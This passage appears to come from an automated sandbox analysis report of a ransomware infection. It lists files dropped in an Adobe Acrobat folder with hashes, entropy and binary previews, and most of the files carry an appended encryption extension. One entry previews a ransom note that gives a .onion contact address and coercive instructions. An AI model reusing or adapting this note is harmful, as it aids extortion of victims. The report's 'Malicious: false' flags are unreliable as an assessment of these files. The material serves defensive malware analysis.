SSDEEP:	24576:2khfwNXF8b7KjfN8h3p5xIuZiBM8C2DR4OTqh9xYWN5++EtComvJ9kkYTyarsFz3:1ZwK7KjfNY3pPI8erD6yqGYkZtjmvRLT
MD5:	FB38E05DAD6D50CA8B52031BEC94C99A
SHA1:	9C4099C9C18623827AC4378B84C50157210FFEB2
SHA-256:	A07D9297D790211258522A1E2D01C5152C5121197AC1E6A45F3E49CE932F5F01
SHA-512:	DE0A923C198F33B59C777345198D2DAE7574675E15BDCEC515B6B5075BB2B8096A67ECD49CA10829BC2529084A6964E6926F6A4A6B548B98F459D87101243048
Malicious:	false
Preview:	pX..l..2...q..J.Z.......X....Vw4>.#....i.U.....U.S.rt..U.Sn5~.........!..L.!This program cannot be run in DOS mode....$........3y&.R.u.R.u.R.u.:.t.R.u.:.t.R.u.:.t0R.uq?.t.R.uq?.t.R.uq?.t.R.u.8fe..{....)..?........wd.....#I.)d....?U. ...mg.x&. c..i.'.fi.Rich.R.u........................PE..d....?.`.........." .....H...`...........................................................`A=.`.o..6....-.J(Z......IH....Vw4>.3....}.U.9.....S_rt....S.2~.....`....\|...........3.. 1..T....................2..(....1...............`...............................text....G.......H......=.p.o..6....-..(....k.....Vw.4.#....i.U.....U.SOrt..1q'/4~.@........d..................@....pdata..`............L..............@..@_RDATA...............>..............@..@.rsrc...P.......=.p.o...6....-.J(Z......g.....Vw.>.#'...].U.....U.S.rt..U.S.4~.................................................................................................................................=.p.o..6....-.J(Z......IX....Vw4>.#...

C:\Program Files\Adobe\Acrobat DC\Acrobat\icudt58.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	15162
Entropy (8bit):	7.382690857961943
Encrypted:	false
SSDEEP:	384:LwzGix9l8zX3W7mqU0WYP2uM8LHxwWp5ey:LlQwnW6ZcPhjXD
MD5:	59BF2B3C88E1BF4AB90936385EB1BADD
SHA1:	11BF0836804659B70B66B42FBD4D4FD20952662C
SHA-256:	0C1E33A8EEEE047A10FC121BFAEEE9AAAB1244EC6D31E380FC0D00678C91ECB1
SHA-512:	A9D03A7AD6C08A85853DA43E1446E38D1E63E95D07BCA44D28851F12CDAE01BC3C09CEB2507EA4C2554FB5BE56DEEA87FF9D879B120DC7B30E0B9D88C9809A78
Malicious:	false
Preview:	.Wh[u....y.G#%......NP.W.h..+.#...(d..JJq....p.} F.j.f.l......................................................................................................................................g.D+...3....[.........7.F.+u.D......8p;gv=.x...._....\|IE..................................................................................................................................g.D+...3....[.........7.F.+u.D......8p;gv=.x...._....\|IE.................................................................................................................................+.y..V...y.G7%......XP.~.k.&.#...(~..JQq.:gv=.x...._....\|IE..................................................................................................................................g.D+...3....[.........7.F.+u.D......8p;gv=.x...._....\|IE..................................................................................................................................g.D+...3....[.........7.F.+u.D.....

C:\Program Files\Adobe\Acrobat DC\Acrobat\icudt58.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	15162
Entropy (8bit):	7.382690857961943
Encrypted:	false
SSDEEP:	384:LwzGix9l8zX3W7mqU0WYP2uM8LHxwWp5ey:LlQwnW6ZcPhjXD
MD5:	59BF2B3C88E1BF4AB90936385EB1BADD
SHA1:	11BF0836804659B70B66B42FBD4D4FD20952662C
SHA-256:	0C1E33A8EEEE047A10FC121BFAEEE9AAAB1244EC6D31E380FC0D00678C91ECB1
SHA-512:	A9D03A7AD6C08A85853DA43E1446E38D1E63E95D07BCA44D28851F12CDAE01BC3C09CEB2507EA4C2554FB5BE56DEEA87FF9D879B120DC7B30E0B9D88C9809A78
Malicious:	false
Preview:	.Wh[u....y.G#%......NP.W.h..+.#...(d..JJq....p.} F.j.f.l......................................................................................................................................g.D+...3....[.........7.F.+u.D......8p;gv=.x...._....\|IE..................................................................................................................................g.D+...3....[.........7.F.+u.D......8p;gv=.x...._....\|IE.................................................................................................................................+.y..V...y.G7%......XP.~.k.&.#...(~..JQq.:gv=.x...._....\|IE..................................................................................................................................g.D+...3....[.........7.F.+u.D......8p;gv=.x...._....\|IE..................................................................................................................................g.D+...3....[.........7.F.+u.D.....

C:\Program Files\Adobe\Acrobat DC\Acrobat\icudt67.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	15162
Entropy (8bit):	7.381119375849221
Encrypted:	false
SSDEEP:	384:XKGimP6jeNUv5aRqztGkWDaxg7FGH3/8aW:t9P6jlRyCy
MD5:	C2BA74FE850D68D53FB6F36D140301C7
SHA1:	CB0B5DA2AB799EC51E75E4B934C771B6D7F88208
SHA-256:	22E13C041BE86F9757E63AD757D854C11990770974EF48A5DBE238D94F0DD577
SHA-512:	E1ABBBB8FC3C12CC540523811B26996267EBBD7FA379EEE121ED9DD86425791011EC9E66B280D7A754D5893A893A85EA83EDBCCDC52C967626B8DF3767229087
Malicious:	false
Preview:	._I.....l..U.i..$...R.(M.4hY$.s4Oirg.f....d1.{.U6.GU..m...w.#...................................................................................................................................o.......R.f.Bz.QD,...C.X$\.....X.`p.;..J.M..i..:..A....}..................................................................................................................................o.......R.f.Bz.QD,...C.X$\.....X.`p.;..J.M..i..:..A....}.................................................................................................................................:.XgND.0...A.i..$...R.(d.7h..s+Oir}.f....d.J.M..i..:..A....}..................................................................................................................................o.......R.f.Bz.QD,...C.X$\.....X.`p.;..J.M..i..:..A....}..................................................................................................................................o.......R.f.Bz.QD,...C.X$\.....X.`

C:\Program Files\Adobe\Acrobat DC\Acrobat\icudt67.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	15162
Entropy (8bit):	7.381119375849221
Encrypted:	false
SSDEEP:	384:XKGimP6jeNUv5aRqztGkWDaxg7FGH3/8aW:t9P6jlRyCy
MD5:	C2BA74FE850D68D53FB6F36D140301C7
SHA1:	CB0B5DA2AB799EC51E75E4B934C771B6D7F88208
SHA-256:	22E13C041BE86F9757E63AD757D854C11990770974EF48A5DBE238D94F0DD577
SHA-512:	E1ABBBB8FC3C12CC540523811B26996267EBBD7FA379EEE121ED9DD86425791011EC9E66B280D7A754D5893A893A85EA83EDBCCDC52C967626B8DF3767229087
Malicious:	false
Preview:	._I.....l..U.i..$...R.(M.4hY$.s4Oirg.f....d1.{.U6.GU..m...w.#...................................................................................................................................o.......R.f.Bz.QD,...C.X$\.....X.`p.;..J.M..i..:..A....}..................................................................................................................................o.......R.f.Bz.QD,...C.X$\.....X.`p.;..J.M..i..:..A....}.................................................................................................................................:.XgND.0...A.i..$...R.(d.7h..s+Oir}.f....d.J.M..i..:..A....}..................................................................................................................................o.......R.f.Bz.QD,...C.X$\.....X.`p.;..J.M..i..:..A....}..................................................................................................................................o.......R.f.Bz.QD,...C.X$\.....X.`

C:\Program Files\Adobe\Acrobat DC\Acrobat\icudt69.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	28863002
Entropy (8bit):	6.987353942823529
Encrypted:	false
SSDEEP:	393216:C1Hk1IrG0sra+XmqB3pQ+LiXUxvSJGIWlCUl2ncbk/S/vVzt0PGLzylei6Gi9cKx:EHkaLma+XmlgOKheZsd8e
MD5:	CA9DCC410133B597C593FB1C295F6EC9
SHA1:	E399B63ACD4F6D2E718A37F2DFB95697E765E929
SHA-256:	094065550670B30BFFC27BCD0330027BCBB1B2F5AB251513BAA1380BE3576DA1
SHA-512:	2EBA9BDC9647E98F5CFCB673815BC0AC54A420FA25D44A86D5DA68AA2067908FB2566A88C79C1257CB3E0FCA5097832C99ADD2F348C23BC69D027FC6CFC960BE
Malicious:	false
Preview:	r%_..<.v...c.52...d\'...D}.Ly.Y../jj>....W.R[;N....Zv....;>5Z........!..L.!This program cannot be run in DOS mode....$.........=..S...S...S...S...S.'.S...S.'.....S.'.Q...S.Rich..S.........o:.....v....o.2.c.d.'..4Fs.Ly.Y...kj>....W.RK;N...[v.....<5Z.................p............`.........................................PQ..L............`...............L..............0Q......?....<.v...co.2.c.d\'..?D}.Ly.Y../jj>....W.R[;N....Zv.....>5Z.........rdata...B.......B..................@..@.rsrc........`.......F..............@..@........................................?....<.v...co.2.c.d\'..?D}.Ly.Y../jj>....W.R[;N....Zv.....>5Z................................................................................................................................?....<.v...co.2.c.d\'..?D}.Ly.Y../jj>....W.R[;N....Zv.....>5Z................................................................................................................................?....<.v...co.2.c.d\'..?D}.Ly.Y../jj>..

C:\Program Files\Adobe\Acrobat DC\Acrobat\icudt69.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	28863002
Entropy (8bit):	6.987353942823529
Encrypted:	false
SSDEEP:	393216:C1Hk1IrG0sra+XmqB3pQ+LiXUxvSJGIWlCUl2ncbk/S/vVzt0PGLzylei6Gi9cKx:EHkaLma+XmlgOKheZsd8e
MD5:	CA9DCC410133B597C593FB1C295F6EC9
SHA1:	E399B63ACD4F6D2E718A37F2DFB95697E765E929
SHA-256:	094065550670B30BFFC27BCD0330027BCBB1B2F5AB251513BAA1380BE3576DA1
SHA-512:	2EBA9BDC9647E98F5CFCB673815BC0AC54A420FA25D44A86D5DA68AA2067908FB2566A88C79C1257CB3E0FCA5097832C99ADD2F348C23BC69D027FC6CFC960BE
Malicious:	false
Preview:	r%_..<.v...c.52...d\'...D}.Ly.Y../jj>....W.R[;N....Zv....;>5Z........!..L.!This program cannot be run in DOS mode....$.........=..S...S...S...S...S.'.S...S.'.....S.'.Q...S.Rich..S.........o:.....v....o.2.c.d.'..4Fs.Ly.Y...kj>....W.RK;N...[v.....<5Z.................p............`.........................................PQ..L............`...............L..............0Q......?....<.v...co.2.c.d\'..?D}.Ly.Y../jj>....W.R[;N....Zv.....>5Z.........rdata...B.......B..................@..@.rsrc........`.......F..............@..@........................................?....<.v...co.2.c.d\'..?D}.Ly.Y../jj>....W.R[;N....Zv.....>5Z................................................................................................................................?....<.v...co.2.c.d\'..?D}.Ly.Y../jj>....W.R[;N....Zv.....>5Z................................................................................................................................?....<.v...co.2.c.d\'..?D}.Ly.Y../jj>..

C:\Program Files\Adobe\Acrobat DC\Acrobat\icuuc58.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	15162
Entropy (8bit):	7.386540463357372
Encrypted:	false
SSDEEP:	384:OCACKCC21QiAygHQyzMdbZjkV3RNItViVE4uGI:I1HQCMdtpXkg
MD5:	8CCBD57F3131D0E3741A7527D6831597
SHA1:	04B8FEA18D259336C778F9B86CCE3CCE977FE049
SHA-256:	FB00941F152A09754B12DF1755DB6ACD0190D17EE15D76D23AAE253D5A6E3636
SHA-512:	E3683B15734AF6A302C3DB2D8508E43373F4B1F7BB07DFFD9ACB8DD481ED41645DE674066A553B5D4585EA64CD2E40F02FA11DE31543F93C0CC8B508BBC55D69
Malicious:	false
Preview:	_.5..=.f.]HCu..9..:........F.O.KV.\|..V.P..T9t../."....:.5.YV................................................................................................................................p...shx@.....8.......f..........7.!...C..2.jK.`.P...e.b.h..................................................................................................................................p...shx@.....8.......f..........7.!...C..2.jK.`.P...e.b.h...................................................................................................................................V$x.....]HCa..9..:........F-rF.TV.\|..V.K..T.2.jK.`.P...e.b.h..................................................................................................................................p...shx@.....8.......f..........7.!...C..2.jK.`.P...e.b.h..................................................................................................................................p...shx@.....8.......f..........7.!...

C:\Program Files\Adobe\Acrobat DC\Acrobat\icuuc58.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	15162
Entropy (8bit):	7.386540463357372
Encrypted:	false
SSDEEP:	384:OCACKCC21QiAygHQyzMdbZjkV3RNItViVE4uGI:I1HQCMdtpXkg
MD5:	8CCBD57F3131D0E3741A7527D6831597
SHA1:	04B8FEA18D259336C778F9B86CCE3CCE977FE049
SHA-256:	FB00941F152A09754B12DF1755DB6ACD0190D17EE15D76D23AAE253D5A6E3636
SHA-512:	E3683B15734AF6A302C3DB2D8508E43373F4B1F7BB07DFFD9ACB8DD481ED41645DE674066A553B5D4585EA64CD2E40F02FA11DE31543F93C0CC8B508BBC55D69
Malicious:	false
Preview:	_.5..=.f.]HCu..9..:........F.O.KV.\|..V.P..T9t../."....:.5.YV................................................................................................................................p...shx@.....8.......f..........7.!...C..2.jK.`.P...e.b.h..................................................................................................................................p...shx@.....8.......f..........7.!...C..2.jK.`.P...e.b.h...................................................................................................................................V$x.....]HCa..9..:........F-rF.TV.\|..V.K..T.2.jK.`.P...e.b.h..................................................................................................................................p...shx@.....8.......f..........7.!...C..2.jK.`.P...e.b.h..................................................................................................................................p...shx@.....8.......f..........7.!...

C:\Program Files\Adobe\Acrobat DC\Acrobat\icuuc67.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	15162
Entropy (8bit):	7.380534882842879
Encrypted:	false
SSDEEP:	384:PyxnyycIyy7cw4ievBREOgdXdHG5niVKyZmCUg0sM:PyxnyycIyyQnJBRE9NHDBL0sM
MD5:	C0C1A2634DD94BB59437D33EE3D46A21
SHA1:	5A2E53DCD3FA15430411D0B7A53A1A331CD0FBF6
SHA-256:	463645DA932316CFAF3BC0A766F43F23506EF6614FD762F77517CC9D4BF0BD56
SHA-512:	4FCB2FA5BD1AB38B0271F9B93194D4F0B8D6683463D0591F6C278B6DED0494BA736B41681F1B678191B1065F6DEB2F753ED942C7F730A68D2F38314A35EF13BE
Malicious:	false
Preview:	FQM.^2...O.j...aS;..W.S.;@6..2....9.3..Y....*.G@.>...mgu..+.................................................................................................................................ia...\|5..H.R.t..........y.7...ma(AU.0.NM..LM7A.c../...H.......................................................................................................................................ia...\|5..H.R.t..........y.7...ma(AU.0.NM..LM7A.c../...H.........................................................................................................................................\G.....O.~...tS;..W.S.8@.S.2....9.3..Y.MM7A.c../...H.......................................................................................................................................ia...\|5..H.R.t..........y.7...ma(AU.0.NM..LM7A.c../...H.......................................................................................................................................ia...\|5..H.R.t..........y.7...ma(AU.0.

C:\Program Files\Adobe\Acrobat DC\Acrobat\icuuc67.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	15162
Entropy (8bit):	7.380534882842879
Encrypted:	false
SSDEEP:	384:PyxnyycIyy7cw4ievBREOgdXdHG5niVKyZmCUg0sM:PyxnyycIyyQnJBRE9NHDBL0sM
MD5:	C0C1A2634DD94BB59437D33EE3D46A21
SHA1:	5A2E53DCD3FA15430411D0B7A53A1A331CD0FBF6
SHA-256:	463645DA932316CFAF3BC0A766F43F23506EF6614FD762F77517CC9D4BF0BD56
SHA-512:	4FCB2FA5BD1AB38B0271F9B93194D4F0B8D6683463D0591F6C278B6DED0494BA736B41681F1B678191B1065F6DEB2F753ED942C7F730A68D2F38314A35EF13BE
Malicious:	false
Preview:	FQM.^2...O.j...aS;..W.S.;@6..2....9.3..Y....*.G@.>...mgu..+.................................................................................................................................ia...\|5..H.R.t..........y.7...ma(AU.0.NM..LM7A.c../...H.......................................................................................................................................ia...\|5..H.R.t..........y.7...ma(AU.0.NM..LM7A.c../...H.........................................................................................................................................\G.....O.~...tS;..W.S.8@.S.2....9.3..Y.MM7A.c../...H.......................................................................................................................................ia...\|5..H.R.t..........y.7...ma(AU.0.NM..LM7A.c../...H.......................................................................................................................................ia...\|5..H.R.t..........y.7...ma(AU.0.

C:\Program Files\Adobe\Acrobat DC\Acrobat\icuuc69.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2587162
Entropy (8bit):	7.243305169332881
Encrypted:	false
SSDEEP:	24576:r79xQr/TDr1LFCk7/Bl+zHtmd9aRpR0+auZu+WBCrKXi/kjvOkznCwVOUWQjmV4c:vLQbTDpxJDMt/0x2u+WBUKXZL5GfVVd
MD5:	8D5C43DC5DAE544BBED5C87471FFEF64
SHA1:	B4B5FAD5718D476260FB15BBDFBB2279A7EBA0E9
SHA-256:	DAE156C247D11371625877522E0A485F1DB776D8C1C984AE030EE485E6384066
SHA-512:	99D90F13B76E442F6E1DA12DADCB1315FCAA9F8D40C617B6DD962F749784D68A70217B5B62373B8890721DC0B24A91BADF945B4388F9876B9CC19BD3676DC9F6
Malicious:	false
Preview:	"..>x...z.\...6..&K.P..8\.=gRH9.#........"....x.4....#5@.I.9........!..L.!This program cannot be run in DOS mode....$....... .u.d...d...d...?...k...?...j...?...........k.......l...........Poh4]...,/`'..`.....K7r.&.I.\|...o..W.kZ.\|.."....Q\|.T@.,...Richd...........................PE..d....;.`.........." ................p.........................................'.......(...`Ao.b.=x...z..P.....&K.P...8\.=gRH9.#....\|~....[].d......@.N.9..&..^...\'.......'.L;......T...................(...(... ................................................text..................o.r.=x...z..P....G?.P...4\..RH..#........"....x.t....GT4.H.90....`%..z...<%.............@....pdata...^....&..`....%.............@..@_RDATA.......p'.......'.............@..@.rsrc...P.....'.o.r.=`4..z..P.....&..P..]0.^gR...#...........x.4....#5@.H.{................................................................................................................................o.r.=x...z..P.....&K.P...8\.=gRH9.#....

C:\Program Files\Adobe\Acrobat DC\Acrobat\icuuc69.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2587162
Entropy (8bit):	7.243305169332881
Encrypted:	false
SSDEEP:	24576:r79xQr/TDr1LFCk7/Bl+zHtmd9aRpR0+auZu+WBCrKXi/kjvOkznCwVOUWQjmV4c:vLQbTDpxJDMt/0x2u+WBUKXZL5GfVVd
MD5:	8D5C43DC5DAE544BBED5C87471FFEF64
SHA1:	B4B5FAD5718D476260FB15BBDFBB2279A7EBA0E9
SHA-256:	DAE156C247D11371625877522E0A485F1DB776D8C1C984AE030EE485E6384066
SHA-512:	99D90F13B76E442F6E1DA12DADCB1315FCAA9F8D40C617B6DD962F749784D68A70217B5B62373B8890721DC0B24A91BADF945B4388F9876B9CC19BD3676DC9F6
Malicious:	false
Preview:	"..>x...z.\...6..&K.P..8\.=gRH9.#........"....x.4....#5@.I.9........!..L.!This program cannot be run in DOS mode....$....... .u.d...d...d...?...k...?...j...?...........k.......l...........Poh4]...,/`'..`.....K7r.&.I.\|...o..W.kZ.\|.."....Q\|.T@.,...Richd...........................PE..d....;.`.........." ................p.........................................'.......(...`Ao.b.=x...z..P.....&K.P...8\.=gRH9.#....\|~....[].d......@.N.9..&..^...\'.......'.L;......T...................(...(... ................................................text..................o.r.=x...z..P....G?.P...4\..RH..#........"....x.t....GT4.H.90....`%..z...<%.............@....pdata...^....&..`....%.............@..@_RDATA.......p'.......'.............@..@.rsrc...P.....'.o.r.=`4..z..P.....&..P..]0.^gR...#...........x.4....#5@.H.{................................................................................................................................o.r.=x...z..P.....&K.P...8\.=gRH9.#....

C:\Program Files\Adobe\Acrobat DC\Acrobat\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Adobe\Acrobat DC\Acrobat\logsession.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2905354
Entropy (8bit):	7.211726175918122
Encrypted:	false
SSDEEP:	49152:0UYmKieGWVDChN14+5ItTHA0giwbGSY976u54sHJjZpN8ZfXobFFfcE7cS:emw7VOh5IRSW7tJHJaUd
MD5:	B8FC130D710856110319FFACE43DA8E3
SHA1:	30E4E3C6EFCC9FDAE73E1D3985384B0581D61F90
SHA-256:	E7AA98A0FF982913B1484AFDBF67905FCEF67BD5DB719E47E9A620E57074D45E
SHA-512:	D52966FA397301B3F750E1EF224BF56D31743264E2E170888E203CD94BD55EB134BCA4EB5198B5351F83D6DFD60E376E2664D5A649766B4390521247B93B1506
Malicious:	false
Preview:	;.....L.7.....?..'.b.%...h.."..{a.(.Y.F.c....V. $Fd.Q%.6..A..........!..L.!This program cannot be run in DOS mode....$........9..^Xx.^Xx.^Xx.W ..HXx.7}.QXx..-y.XXx.87..\Xx..-}..Xx..-\|.VXx.z..I..4O6.."N..Y.4...:\|...o0.......p.......<..].}<....J....<.-p.eXx..-x._Xx..-.._Xx.^X.._Xx..-z._Xx.Rich^Xx.................PE..d......c.........." ......"..2..............................p.....L.5....S.....'.f.%'N..j..c..ka.(.Y.V.c....V.0$Fd.Q%.6.@...........8)..B...z)......@,.`......HY...,..)...P,..'..._%.p....................a%.(...._%.8............0".....................v.....L....eS.....'.r.%X..h.."..{a.(.Y.F.c...x.DE2..Q.q1.p........".............@..@.data...h.....).......).............@....pdata..HY......Z.................@..@.rsrc...`....@,.......+.v.....L.3...QS...v.K...%..h.."..{a.*.Y.F.c....V. $.d..%.6.@..................................................................................................................................v.....L.3....S.....'.b.%X..h.."..{a.(.Y

C:\Program Files\Adobe\Acrobat DC\Acrobat\logsession.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2905354
Entropy (8bit):	7.211726175918122
Encrypted:	false
SSDEEP:	49152:0UYmKieGWVDChN14+5ItTHA0giwbGSY976u54sHJjZpN8ZfXobFFfcE7cS:emw7VOh5IRSW7tJHJaUd
MD5:	B8FC130D710856110319FFACE43DA8E3
SHA1:	30E4E3C6EFCC9FDAE73E1D3985384B0581D61F90
SHA-256:	E7AA98A0FF982913B1484AFDBF67905FCEF67BD5DB719E47E9A620E57074D45E
SHA-512:	D52966FA397301B3F750E1EF224BF56D31743264E2E170888E203CD94BD55EB134BCA4EB5198B5351F83D6DFD60E376E2664D5A649766B4390521247B93B1506
Malicious:	false
Preview:	;.....L.7.....?..'.b.%...h.."..{a.(.Y.F.c....V. $Fd.Q%.6..A..........!..L.!This program cannot be run in DOS mode....$........9..^Xx.^Xx.^Xx.W ..HXx.7}.QXx..-y.XXx.87..\Xx..-}..Xx..-\|.VXx.z..I..4O6.."N..Y.4...:\|...o0.......p.......<..].}<....J....<.-p.eXx..-x._Xx..-.._Xx.^X.._Xx..-z._Xx.Rich^Xx.................PE..d......c.........." ......"..2..............................p.....L.5....S.....'.f.%'N..j..c..ka.(.Y.V.c....V.0$Fd.Q%.6.@...........8)..B...z)......@,.`......HY...,..)...P,..'..._%.p....................a%.(...._%.8............0".....................v.....L....eS.....'.r.%X..h.."..{a.(.Y.F.c...x.DE2..Q.q1.p........".............@..@.data...h.....).......).............@....pdata..HY......Z.................@..@.rsrc...`....@,.......+.v.....L.3...QS...v.K...%..h.."..{a.*.Y.F.c....V. $.d..%.6.@..................................................................................................................................v.....L.3....S.....'.b.%X..h.."..{a.(.Y

C:\Program Files\Adobe\Acrobat DC\Acrobat\pe.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1631202
Entropy (8bit):	6.868237387575429
Encrypted:	false
SSDEEP:	24576:DkUpfJXEI8sytifoAZ5abqff2INc0HJ7VpDxiQy:DXfJXENsy0fvfabqmIu0p7Vp9y
MD5:	6070EB17F5F066DE795D7640D8D9D303
SHA1:	E7479D43BD581A0200F476BE877AE2C4BF096ABC
SHA-256:	D63D4DA9D00E26D8AE2DAC6BDF9E9FE99AB373BDA1DBB29163248D619FC468E9
SHA-512:	79FA21961EDF914A5475EC8CAF5B24AEFBE8F1BEEA475EF5E7AD8882675665F174F0DCA7D2CF2D06A3564B1EC42C96A2A411336BA79A0E6164826416A9BF6047
Malicious:	false
Preview:	)&g.dM.T.4M`!T:.?...m....Y+.L1b.Z..iZ....H......J.k$..g.K]+@.........!..L.!This program cannot be run in DOS mode....$.........K..y%..y%..y%......y%.4.$..y%.4. ..y%.4.!..y%.4.&..y%..$..y%...6.4...#l....G.."F..</?N.=.HG.oq.#....otJ....#b....g.K]#A.........PE..d......`.........." ................0.....................................................`A........................dl..gM.T.4M`.:.g!..m.....3.H0b.Z>.._....P........k...g.S].H.....T........................... ................................................text............................... ..`.rdata..0 ..gM.T.jG`.[7.....m...BY+..1bLt....Z....H......R.k$...g.K]#A.....@....pdata...O.......P...f..............@..@.rsrc...............................@..@.reloc..$...........................@..Bd\|..gM.T.4M`.:.....m...BY+.L1b.Z..iZ....H......J.k$..g.K]#A.................................................................................................................................d\|..gM.T.4M`.:.....m...BY+.L1b.Z..iZ..

C:\Program Files\Adobe\Acrobat DC\Acrobat\pe.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1631202
Entropy (8bit):	6.868237387575429
Encrypted:	false
SSDEEP:	24576:DkUpfJXEI8sytifoAZ5abqff2INc0HJ7VpDxiQy:DXfJXENsy0fvfabqmIu0p7Vp9y
MD5:	6070EB17F5F066DE795D7640D8D9D303
SHA1:	E7479D43BD581A0200F476BE877AE2C4BF096ABC
SHA-256:	D63D4DA9D00E26D8AE2DAC6BDF9E9FE99AB373BDA1DBB29163248D619FC468E9
SHA-512:	79FA21961EDF914A5475EC8CAF5B24AEFBE8F1BEEA475EF5E7AD8882675665F174F0DCA7D2CF2D06A3564B1EC42C96A2A411336BA79A0E6164826416A9BF6047
Malicious:	false
Preview:	)&g.dM.T.4M`!T:.?...m....Y+.L1b.Z..iZ....H......J.k$..g.K]+@.........!..L.!This program cannot be run in DOS mode....$.........K..y%..y%..y%......y%.4.$..y%.4. ..y%.4.!..y%.4.&..y%..$..y%...6.4...#l....G.."F..</?N.=.HG.oq.#....otJ....#b....g.K]#A.........PE..d......`.........." ................0.....................................................`A........................dl..gM.T.4M`.:.g!..m.....3.H0b.Z>.._....P........k...g.S].H.....T........................... ................................................text............................... ..`.rdata..0 ..gM.T.jG`.[7.....m...BY+..1bLt....Z....H......R.k$...g.K]#A.....@....pdata...O.......P...f..............@..@.rsrc...............................@..@.reloc..$...........................@..Bd\|..gM.T.4M`.:.....m...BY+.L1b.Z..iZ....H......J.k$..g.K]#A.................................................................................................................................d\|..gM.T.4M`.:.....m...BY+.L1b.Z..iZ..

C:\Program Files\Adobe\Acrobat DC\Acrobat\pmd.cer

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	734
Entropy (8bit):	7.268836360230515
Encrypted:	false
SSDEEP:	12:ueDUHkfJOJSVl7wOvCOoxCUC20s7P+kRTLmg87H17UwFvmPgE4QHmhGS:X2JK7wGChLegP+kR+X17zFuIE4QMGS
MD5:	0D333535AAEB44034491A7D941F665A7
SHA1:	C1AEA409506C6805A01F2D6811381F8256233122
SHA-256:	561D584BB38D0EC03E6B463E426E25D9AE2A14D11C82CC240C811D2C63C9C8B5
SHA-512:	2594794DE77E2BAF00408A188523EE33C16385700AB14A9B34BC97D518D615127788B654FD9AA5DC60F802003558A44B4B09C4AB2552E18B0C7901D2466E8111
Malicious:	false
Preview:	..Zc......g....a.P.{^xL+..F6.;.D...F.S.{n<Qp!0.c.......\...&'..L.....G..V.....w.l:B@.5._.s..d.9.8.m.V.i,V2.$.s.....P..."`.@.(...r..t..F..@.$}...w.&.$..1.y.&.r.F.{Dll#Nd.1...N.....@...[.y...,...`....t...1>T...0........'2._..h..c....2....\|....].d. t..f..+..P.[.X.Zb.F2.>...%.j..Xh./....'...Ai....n.`.x..\p.R...k.o........R.A....V.f........5d..}.A..Wx.b5.Kd...;Z..K.8..L..7..c..1.r.Zc.\p._"L......6.!N.k.C...........!/].+.cJS.Fe..3..#.#uV...?d.........].6.0/5-..B9....9..%..i..gxBr.&1.VU....Y?>..........;..E.s...iJ...)h.&..,....D.6.xV..T`O.az.).-x...A\r.%.p.....?X...=..R...........L.~n#..............................................................................................29yp10v5m8k.

C:\Program Files\Adobe\Acrobat DC\Acrobat\pmd.cer.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	734
Entropy (8bit):	7.268836360230515
Encrypted:	false
SSDEEP:	12:ueDUHkfJOJSVl7wOvCOoxCUC20s7P+kRTLmg87H17UwFvmPgE4QHmhGS:X2JK7wGChLegP+kR+X17zFuIE4QMGS
MD5:	0D333535AAEB44034491A7D941F665A7
SHA1:	C1AEA409506C6805A01F2D6811381F8256233122
SHA-256:	561D584BB38D0EC03E6B463E426E25D9AE2A14D11C82CC240C811D2C63C9C8B5
